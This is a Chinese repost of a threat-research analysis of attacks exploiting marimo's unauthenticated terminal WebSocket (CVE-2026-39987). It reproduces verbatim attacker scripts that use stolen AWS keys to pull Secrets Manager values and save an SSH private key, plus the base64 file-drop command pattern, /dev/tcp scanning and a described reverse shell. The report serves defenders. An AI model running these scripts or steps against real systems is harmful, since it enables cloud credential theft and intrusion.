← 文章 / 未分类
sysdig 7小时前 · 2026-09-18 18:46:42 · 0 阅读

机器速度,人手握AI:纯手工打造的marimo CVE-2026-39987漏洞利用

Falco Feeds 通过为关注开源的企业提供专家编写并持续更新的规则,扩展了 Falco 的能力,使它们能够应对新发现的威胁。

绿色背景,左侧有圆形图标,下方列出三个要点:自动检测威胁、免除规则维护、保持合规,并配有三个黑白光标箭头指向文本。

AI 确实降低了攻击者的入门门槛。但争论的焦点在于:熟练的威胁行动者能否跟上那些由 LLM 驱动的竞争对手?

最近,Sysdig 威胁研究团队(TRT)目睹了一名威胁行动者在八秒内,从一个开放的 WebSocket 终端迅速渗透至跳板机的实时 SSH 会话。整个过程中没有代理参与,也未发现任何 LLM 生成的脚本或工具痕迹。相反,操作员使用的是他们在前四个小时内手工编写并调试的 Python 工具包。

该攻击者利用了 marimo 中一个认证前远程代码执行(RCE)漏洞 CVE-2026-39987。他们端到端地执行了完整的凭据转移链:通过未认证的 WebSocket 终端获得初始访问权限,利用从被入侵实例中获取的凭据调用 AWS Secrets Manager,随后使用获取的私钥通过 SSH 访问跳板机。在这场长达九小时的会话中,他们执行了超过 850 条交互式命令,未使用任何可识别的公开进攻工具,且所有脚本均为现场手写。

八秒的速度通常出现在 AI 辅助攻击中。这位操作员仅凭个人技能便达到了这一水平,并且在过程中直接避开了我们针对同一 CVE 分析过的所有智能威胁行动者(ATA)都陷入的陷阱。这不仅表明熟练的人类攻击者能以机器般的速度行动,还说明他们往往能更有效地规避防御者的检测。

这是我们针对 CVE-2026-39987 分析的多位攻击者之一。本系列从披露后不到 10 小时即出现的在野利用开始,随后记录了 NKAbuse RAT 攻击活动。这位攻击者的独特之处在于“手艺”:其他人留下了明显的 LLM 痕迹,而他们的自动化脚本全是手写的,还成功避开了我们埋设的提示注入诱饵(依赖 agent 的攻击者无一例外都会中招),并在 8 秒内用先前会话预置的工具包完成了三个 RCE 后续步骤。

下面我们来复盘 Sysdig TRT 观察到的细节、一些检测规则和失陷指标,以及防守方该如何抢占先机。

时间线

均为 UTC 时间。

时间

事件

首次观测到终端活动前 28+ 小时

第一个窃取的 AWS 凭证通过 CloudTrail 中的 GetCallerIdentity 完成验证

第一个凭证被窃取后 33 分钟

第二个窃取的凭证(来自应用的 Redis 后端)完成验证

12:52:18

来自 172.236.12.17 的首个 WebSocket 连接至 /terminal/ws

12:54:13

首个交互式命令:用 /dev/tcp 对主机所在的 RFC1918 /24 网段进行扫描

16:00–16:30

攻击者向 /tmp/ 目录投放一系列 base64 编码的 Python 脚本

16:50:40

boto3 脚本调用 AWS 的 secretsmanager:GetSecretValue

16:51:45

用获取到的 SSH 密钥尝试登录一台可从公网访问的堡垒机

18:54:31

新的 WebSocket 会话建立

18:54:45

CloudTrail 中观测到 AWS Secrets Manager API 调用(WebSocket 建立后 14 秒)

18:56:32–18:56:44

EC2 枚举被拒:DescribeInstances →

UnauthorizedOperation; DescribeKeyPairs → AccessDenied;

DescribeInstanceInformation → AccessDenied

18:56:50

针对 i-0000000000000000 触发 ec2:SendSSHPublicKey 调用 — 实例 ID 为空(枚举未返回真实 ID);已拦截

18:57:22

18:57:30

新建 WebSocket 会话

随后 8 秒观察到 SSH 堡垒机认证(该会话 WebSocket 建立后)

20:13–20:32

操作员在攻击者持有的 VPS 上部署了类似 asyncssh 的监听器配置

21:50:14

该操作员最终断开连接

第一条交互式命令(对主机 /24 网段进行 TCP 探测)与首次带凭证的 AWS API 调用之间相隔近四小时。这段时间很可能被用于构建和调试工具链。待工具包完善并可用后,后续重连在几秒内即可跑通全链路,因为脚本已存于磁盘,只需执行一条命令即可触发。

漏洞详情

Marimo 笔记本常部署在配备 GPU 的宿主机上,用于支撑 ML 流水线,涉及大规模数据集以及与 AWS、GCP 及各模型提供商的凭证连接。一旦 marimo 实例被攻破,攻击者便获得通往受害者云账户的入口。

CVE-2026-39987 是一个预认证远程代码执行(RCE)漏洞。GitHub 的安全公告列出了截至 marimo 0.20.4 的所有受影响的版本,修复方案已随 0.23.0 版本发布。/terminal/ws WebSocket 端点提供交互式 PTY Shell,但跳过了该应用中其他 WebSocket 端点所正确执行的认证校验。任何能够连接到该路径 WebSocket 的客户端都将获得一个以 marimo 进程用户身份运行的完整交互式 Shell,且无需任何凭证。利用该漏洞无需构造 Payload 或进行编码,只需向该路径建立 WebSocket 连接即可。0.23.0 版本的修复通过 PR #9098 在终端端点接入了缺失的 validate_auth() 调用。

观察到的行为

手工编写的 AWS 自动化

此前针对 marimo 的所有攻击都留下了 LLM 驱动操作者的明显痕迹。他们靠记忆逐行输入 AWS 请求签名代码,全程在单个 shell 会话中完成。而这次的操作者则不同,他在多个会话中编写并调试了一个 boto3 链式脚本,最终将其作为 base64 编码的 Python 文件放入 /tmp/ 目录。现有证据显示,威胁行为者在执行该过程中并未使用 AI。

在会话后期,攻击者在 17 分钟窗口期内迭代运行了 8 个独立脚本,且都遵循相同的模式:通过 base64 解码将脚本写入 /tmp/ 目录,具体命令为:echo '<base64-blob>' | base64 -d > /tmp/<name>.py。这种 base64 封装具有双重目的:既规避了内嵌多行 Python 代码时的 shell 引号问题,又能在 bash_history 中生成仅显示为一行记录的内容,防止安全人员在快速浏览文件时窥探到脚本的具体内容。

下方按部署顺序完整重现了该工具箱的内容。AWS 凭证值已做隐去处理;其余内容均逐字取自 WebSocket 命令流。

脚本 1:带区域回退机制的 Secrets Manager 初始获取

当发生异常时,该脚本会依次尝试 5 个 AWS 区域。凭证直接硬编码在源码中,而非从环境变量读取,这表明操作者在 shell 会话的早期阶段就已提取了这些凭证,并在当前迭代中直接复用。

import boto3, json
try:
    client = boto3.client("secretsmanager",
        aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
        aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
        region_name="us-east-1")
    resp = client.get_secret_value(SecretId="REDACTED")
    val = resp.get("SecretString", "")
    if not val:
        val = resp.get("SecretBinary", b"").decode()
    print("SECRET_START")
    print(val)
    print("SECRET_END")
except Exception as e:
    print(f"AWS_ERR:{e}")
    # Try other regions
    for region in ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]:
        try:
            c2 = boto3.client("secretsmanager",
                aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
                aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
                region_name=region)
            r2 = c2.get_secret_value(SecretId="REDACTED")
            val = r2.get("SecretString", "")
            if not val:
                val = r2.get("SecretBinary", b"").decode()
            print(f"FOUND_IN_{region}")
            print("SECRET_START")
            print(val)
            print("SECRET_END")
            break
        except Exception as e2:
            print(f"REGION_{region}:{e2}")

脚本 2:改进版的 Secrets Manager 密钥获取,支持密钥持久化和 JSON 解析

这是攻击者主要使用的脚本。它把获取到的密钥以 0600 权限写入 /tmp/bastion_key,将密钥值按 JSON 解析,以兼容 {key: ...} 结构和纯字符串响应,遇到访问被拒时则退而尝试 secretsmanager:ListSecrets。两个版本的脚本中 SecretId 的值也有所不同,说明攻击者在从失陷主机上获取更多信息后,对密钥名称做过调整。

import boto3, json, os, sys

# 使用环境变量(已预设)
# AWS_ACCESS_KEY_ID=
# AWS_SECRET_ACCESS_KEY=
# AWS_DEFAULT_REGION=us-east-1

client = boto3.client("secretsmanager")

try:
    resp = client.get_secret_value(SecretId="REDACTED")
    secret = resp.get("SecretString", "")
    if not secret:
        secret = resp.get("SecretBinary", b"").decode()

    print("SECRET_RETRIEVED")
    print(f"SECRET_LEN:{len(secret)}")

    # 尝试解析为 JSON
    try:
        data = json.loads(secret)
        for k, v in data.items():
            if "key" in k.lower() or "private" in k.lower():
                with open("/tmp/bastion_key", "w") as f:
                    f.write(v)
                os.chmod("/tmp/bastion_key", 0o600)
                print(f"KEY_FIELD:{k}")
                print(f"KEY_HEAD:{v[:60]}")
                print("KEY_SAVED:/tmp/bastion_key")
            else:
                print(f"FIELD:{k}={str(v)[:100]}")
    except json.JSONDecodeError:
        # 原始密钥数据
        with open("/tmp/bastion_key", "w") as f:
            f.write(secret)
        os.chmod("/tmp/bastion_key", 0o600)
        print(f"RAW_KEY_HEAD:{secret[:60]}")
        print("KEY_SAVED:/tmp/bastion_key")

except Exception as e:
    print(f"AWS_ERR:{e}")
    # 尝试列出密钥
    try:
        secrets = client.list_secrets(MaxResults=20)
        for s in secrets.get("SecretList", []):
            print(f"SECRET_LIST:{s['Name']}")
    except Exception as e2:
        print(f"LIST_ERR:{e2}")

脚本 3:纯标准库反向 Shell

这是一个仅依赖标准库的 Python 反向 Shell,没有引入第三方库或进行编码处理,仅使用了 socketos.dup2subprocess。首个版本没有错误处理,第二个版本增加了 try/except

原始来源: sysdig

评论 (0)